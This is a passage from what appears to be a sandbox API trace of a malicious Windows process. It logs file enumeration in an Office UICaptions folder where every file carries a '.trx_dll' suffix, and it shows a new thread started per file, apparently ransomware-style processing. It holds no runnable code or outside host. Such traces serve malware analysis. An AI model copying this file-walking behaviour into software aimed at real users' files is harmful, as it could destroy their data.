cAlternateFileName="OUTLWV~1.TRX")) returned 1 [0158.854] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2=".") returned 1 [0158.854] wcscmp (_String1="OUTLWVW.DLL.trx_dll", _String2="..") returned 1 [0158.855] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x20508b30 [0158.855] wcscpy (in: _Dest=0x20508b30, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.855] wcscat (in: _Dest=0x20508b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.855] wcscat (in: _Dest=0x20508b30, _Source="OUTLWVW.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" [0158.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20508b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2620 [0158.856] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1 [0158.856] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2=".") returned 1 [0158.856] wcscmp (_String1="PPINTL.DLL.trx_dll", _String2="..") returned 1 [0158.856] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x202b00b0 [0158.857] wcscpy (in: _Dest=0x202b00b0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.857] wcscat (in: _Dest=0x202b00b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.857] wcscat (in: _Dest=0x202b00b0, _Source="PPINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" [0158.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202b00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2624 [0158.858] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19196700, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x19196700, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0x43560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.trx_dll", cAlternateFileName="PPINTL~2.TRX")) returned 1 [0158.858] wcscmp (_String1="PPINTL.REST.trx_dll", _String2=".") returned 1 [0158.858] wcscmp (_String1="PPINTL.REST.trx_dll", _String2="..") returned 1 [0158.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb48f0 [0158.858] wcscpy (in: _Dest=0x1cdb48f0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.858] wcscat (in: _Dest=0x1cdb48f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.858] wcscat (in: _Dest=0x1cdb48f0, _Source="PPINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" [0158.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb48f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2628 [0158.859] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58968200, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x58968200, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x1a560, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.DLL.trx_dll", cAlternateFileName="PUB6IN~1.TRX")) returned 1 [0158.859] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2=".") returned 1 [0158.859] wcscmp (_String1="PUB6INTL.DLL.trx_dll", _String2="..") returned 1 [0158.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1cdb4990 [0158.859] wcscpy (in: _Dest=0x1cdb4990, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.859] wcscat (in: _Dest=0x1cdb4990, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.859] wcscat (in: _Dest=0x1cdb4990, _Source="PUB6INTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" [0158.859] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x262c [0158.860] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x57655500, ftCreationTime.dwHighDateTime=0x1cac809, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x57655500, ftLastWriteTime.dwHighDateTime=0x1cac809, nFileSizeHigh=0x0, nFileSizeLow=0x87f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB6INTL.REST.trx_dll", cAlternateFileName="PUB6IN~2.TRX")) returned 1 [0158.860] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2=".") returned 1 [0158.860] wcscmp (_String1="PUB6INTL.REST.trx_dll", _String2="..") returned 1 [0158.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb4a30 [0158.861] wcscpy (in: _Dest=0x1cdb4a30, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.861] wcscat (in: _Dest=0x1cdb4a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.861] wcscat (in: _Dest=0x1cdb4a30, _Source="PUB6INTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" [0158.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2630 [0158.862] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2720b500, ftCreationTime.dwHighDateTime=0x1cac80f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2720b500, ftLastWriteTime.dwHighDateTime=0x1cac80f, nFileSizeHigh=0x0, nFileSizeLow=0x57f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWZINT.REST.trx_dll", cAlternateFileName="PUBWZI~1.TRX")) returned 1 [0158.862] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2=".") returned 1 [0158.862] wcscmp (_String1="PUBWZINT.REST.trx_dll", _String2="..") returned 1 [0158.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb4ad0 [0158.862] wcscpy (in: _Dest=0x1cdb4ad0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.862] wcscat (in: _Dest=0x1cdb4ad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.862] wcscat (in: _Dest=0x1cdb4ad0, _Source="PUBWZINT.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUBWZINT.REST.trx_dll" [0158.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2634 [0158.863] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94d0df00, ftCreationTime.dwHighDateTime=0x1cac817, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x94d0df00, ftLastWriteTime.dwHighDateTime=0x1cac817, nFileSizeHigh=0x0, nFileSizeLow=0x3360, dwReserved0=0x0, dwReserved1=0x0, cFileName="SGRES.DLL.trx_dll", cAlternateFileName="SGRESD~1.TRX")) returned 1 [0158.863] wcscmp (_String1="SGRES.DLL.trx_dll", _String2=".") returned 1 [0158.863] wcscmp (_String1="SGRES.DLL.trx_dll", _String2="..") returned 1 [0158.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1cdb4b70 [0158.863] wcscpy (in: _Dest=0x1cdb4b70, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.863] wcscat (in: _Dest=0x1cdb4b70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.864] wcscat (in: _Dest=0x1cdb4b70, _Source="SGRES.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\SGRES.DLL.trx_dll" [0158.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2638 [0158.865] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xca190500, ftCreationTime.dwHighDateTime=0x1cac7f6, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xca190500, ftLastWriteTime.dwHighDateTime=0x1cac7f6, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.trx_dll", cAlternateFileName="STINTL~1.TRX")) returned 1 [0158.865] wcscmp (_String1="STINTL.DLL.trx_dll", _String2=".") returned 1 [0158.865] wcscmp (_String1="STINTL.DLL.trx_dll", _String2="..") returned 1 [0158.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb4c10 [0158.865] wcscpy (in: _Dest=0x1cdb4c10, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.865] wcscat (in: _Dest=0x1cdb4c10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.865] wcscat (in: _Dest=0x1cdb4c10, _Source="STINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\STINTL.DLL.trx_dll" [0158.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x263c [0158.866] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf706700, ftCreationTime.dwHighDateTime=0x1cac81a, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbf706700, ftLastWriteTime.dwHighDateTime=0x1cac81a, nFileSizeHigh=0x0, nFileSizeLow=0x6960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISBRRES.DLL.trx_dll", cAlternateFileName="VISBRR~1.TRX")) returned 1 [0158.866] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2=".") returned 1 [0158.866] wcscmp (_String1="VISBRRES.DLL.trx_dll", _String2="..") returned 1 [0158.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1cdb4cb0 [0158.866] wcscpy (in: _Dest=0x1cdb4cb0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.866] wcscat (in: _Dest=0x1cdb4cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.866] wcscat (in: _Dest=0x1cdb4cb0, _Source="VISBRRES.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISBRRES.DLL.trx_dll" [0158.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2640 [0158.867] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x70273800, ftCreationTime.dwHighDateTime=0x1cac814, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x70273800, ftLastWriteTime.dwHighDateTime=0x1cac814, nFileSizeHigh=0x0, nFileSizeLow=0x73960, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISINTL.DLL.trx_dll", cAlternateFileName="VISINT~1.TRX")) returned 1 [0158.867] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2=".") returned 1 [0158.867] wcscmp (_String1="VISINTL.DLL.trx_dll", _String2="..") returned 1 [0158.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb4d50 [0158.867] wcscpy (in: _Dest=0x1cdb4d50, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.867] wcscat (in: _Dest=0x1cdb4d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.867] wcscat (in: _Dest=0x1cdb4d50, _Source="VISINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\VISINTL.DLL.trx_dll" [0158.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2644 [0158.869] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1789a00, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0ca650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa1789a00, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x24360, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.DLL.trx_dll", cAlternateFileName="WWINTL~1.TRX")) returned 1 [0158.869] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2=".") returned 1 [0158.869] wcscmp (_String1="WWINTL.DLL.trx_dll", _String2="..") returned 1 [0158.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb4df0 [0158.869] wcscpy (in: _Dest=0x1cdb4df0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.869] wcscat (in: _Dest=0x1cdb4df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.869] wcscat (in: _Dest=0x1cdb4df0, _Source="WWINTL.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.DLL.trx_dll" [0158.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2648 [0158.870] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2a9c700, ftCreationTime.dwHighDateTime=0x1cacd25, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa2a9c700, ftLastWriteTime.dwHighDateTime=0x1cacd25, nFileSizeHigh=0x0, nFileSizeLow=0x110b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="WWINTL.REST.trx_dll", cAlternateFileName="WWINTL~2.TRX")) returned 1 [0158.870] wcscmp (_String1="WWINTL.REST.trx_dll", _String2=".") returned 1 [0158.870] wcscmp (_String1="WWINTL.REST.trx_dll", _String2="..") returned 1 [0158.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1cdb4e90 [0158.870] wcscpy (in: _Dest=0x1cdb4e90, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.871] wcscat (in: _Dest=0x1cdb4e90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.871] wcscat (in: _Dest=0x1cdb4e90, _Source="WWINTL.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\WWINTL.REST.trx_dll" [0158.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264c [0158.871] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef0f07b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x23960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.DLL.trx_dll", cAlternateFileName="XLINTL~1.TRX")) returned 1 [0158.871] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2=".") returned 1 [0158.872] wcscmp (_String1="XLINTL32.DLL.trx_dll", _String2="..") returned 1 [0158.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1cdb4f30 [0158.872] wcscpy (in: _Dest=0x1cdb4f30, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.872] wcscat (in: _Dest=0x1cdb4f30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.872] wcscat (in: _Dest=0x1cdb4f30, _Source="XLINTL32.DLL.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.DLL.trx_dll" [0158.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4f30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2650 [0158.873] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61df1900, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61df1900, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x126760, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLINTL32.REST.trx_dll", cAlternateFileName="XLINTL~2.TRX")) returned 1 [0158.873] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2=".") returned 1 [0158.873] wcscmp (_String1="XLINTL32.REST.trx_dll", _String2="..") returned 1 [0158.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x1cdb4fd0 [0158.873] wcscpy (in: _Dest=0x1cdb4fd0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.873] wcscat (in: _Dest=0x1cdb4fd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\" [0158.873] wcscat (in: _Dest=0x1cdb4fd0, _Source="XLINTL32.REST.trx_dll" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" [0158.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cdb4fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2654 [0158.874] FindNextFileW (in: hFindFile=0x1cd9df10, lpFindFileData=0x1cd62c90 | out: lpFindFileData=0x1cd62c90*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e38000, ftCreationTime.dwHighDateTime=0x1cac820, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd7e38000, ftLastWriteTime.dwHighDateTime=0x1cac820, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSLICER.DLL.trx_dll", cAlternateFileName="XLSLIC~1.TRX")) returned 1 [0158.874] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2=".") returned 1 [0158.874] wcscmp (_String1="XLSLICER.DLL.trx_dll", _String2="..") returned 1 [0158.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1cdb5070 [0158.875] wcscpy (in: _Dest=0x1cdb5070, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0158.875] wcscat (in: _Dest=0x1cdb5070, _Source="\\" | out: 